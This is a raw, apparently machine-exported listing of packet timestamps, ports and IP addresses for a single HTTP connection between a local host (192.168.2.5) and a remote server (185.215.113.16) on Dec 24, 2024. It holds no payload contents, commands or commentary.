Dec 24, 2024 12:39:38.869915962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.898827076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.898875952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.898890972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.898920059 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.899179935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.899220943 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.899229050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.899245024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.899285078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.899982929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.900357962 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.900373936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.900427103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.900429010 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.900429010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.900468111 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.901287079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.901328087 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.901346922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.901362896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.901406050 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.902132034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.902156115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.902173996 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.902196884 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.903031111 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.903065920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.903079033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.903091908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.903129101 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.903888941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.903950930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.903966904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.903994083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.904755116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.904799938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.904849052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.904865026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.904902935 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.905682087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.905849934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.905899048 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.959460020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.990483999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.990542889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.990557909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.990582943 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.990780115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.990818024 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.990854025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.990869999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.990907907 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.991677046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.991735935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.991753101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.991779089 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.992528915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.992583036 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.992605925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.992630005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.992667913 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:38.993441105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.993591070 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:38.993632078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.025218010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.025280952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.025337934 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.025444031 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.025587082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.025609016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.025629997 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.026355028 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.026401043 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.026408911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.026424885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.026459932 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.026995897 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.027050972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.027066946 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.027092934 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.027904987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.027930975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.027945042 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.027946949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.027983904 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.028768063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.028820038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.028836966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.028863907 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.029716015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.029731989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.029756069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.029758930 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.029793978 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.030556917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.030608892 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.030625105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.030647993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.031404972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.031445980 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.031445980 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.031471968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.031871080 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.032294989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.032350063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.032366991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.032390118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.033149958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.033191919 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.033216953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.033233881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.033478022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.034049034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.034081936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.034100056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.034125090 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.034933090 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.034975052 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.035003901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.035021067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.035063982 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.035860062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.035887003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.035902023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.036109924 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.036729097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.036771059 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.036792040 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.036807060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.036847115 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.037583113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.037661076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.037677050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.037700891 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.038444996 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.038477898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.038491964 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.038496017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.038533926 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.039361000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.039438009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.039444923 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.039482117 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.040218115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.040277004 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.040322065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.040339947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.040380001 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.041079044 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.041134119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.041152954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.041172028 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.041944027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.042005062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.042021990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.042033911 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.042059898 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.042860985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.042887926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.042906046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.042936087 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.043724060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.043751001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.043766975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.043776035 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.043818951 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.091223955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.091239929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.091264963 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.091281891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.091294050 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.091296911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.091330051 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.092024088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.092067957 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.092084885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.092092991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.092145920 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.092811108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.092827082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.092843056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.092865944 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.093640089 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.093681097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.093686104 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.093698025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.093734980 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.094499111 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.094573975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.094588995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.094614029 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.095375061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.095426083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.095428944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.095447063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.095483065 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.096266985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.096324921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.096340895 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.096383095 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.097142935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.097174883 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.097187996 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.097193003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.097229004 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.098052979 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.098145962 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.098186016 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.182804108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.182820082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.182837009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.182868958 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.183047056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.183054924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.183098078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.183773994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.183811903 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.183847904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.183865070 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.183908939 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.184839010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.184880972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.184905052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.184921980 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.185734034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.185796022 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.185796976 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.185812950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.185854912 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.186542988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.217545033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.217561007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.217576981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.217590094 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.217611074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.217937946 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.217995882 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.218013048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.218050003 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.218888044 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.218971968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.218987942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.219019890 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.219042063 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.219794989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.219847918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.219866037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.219911098 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.220633030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.220680952 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.220695019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.220710993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.221462011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.221514940 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.221534014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.221549988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.221579075 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.222348928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.222383022 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.222399950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.222410917 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.222436905 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.223238945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.223289013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.223304987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.223345995 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.224096060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.224172115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.224188089 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.224244118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.224271059 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.224997997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.225042105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.225059032 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.225095987 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.225888014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.225934982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.225935936 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.225951910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.226742983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.226794958 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.226810932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.226826906 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.226855993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.227688074 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.227705002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.227720976 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.227742910 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.227760077 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.229293108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.229367971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.229383945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.229419947 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.229501009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.229542017 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.229553938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.229569912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.230343103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.230395079 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.230432034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.230452061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.230473995 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.231328011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.231414080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.231430054 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.231471062 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.231491089 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.232045889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.232101917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.232117891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.232152939 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.232961893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.232986927 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.233004093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.233016014 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.233043909 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.233845949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.233930111 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.233944893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.234009027 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.234739065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.234807968 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.234869957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.234885931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.234925032 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.235551119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.235620022 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.235635996 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.235687017 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.236386061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.239864111 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.283507109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.283524036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.283540964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.283694029 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.283792019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.283857107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.283873081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.283912897 CET	49727	80	192.168.2.5	185.215.113.16
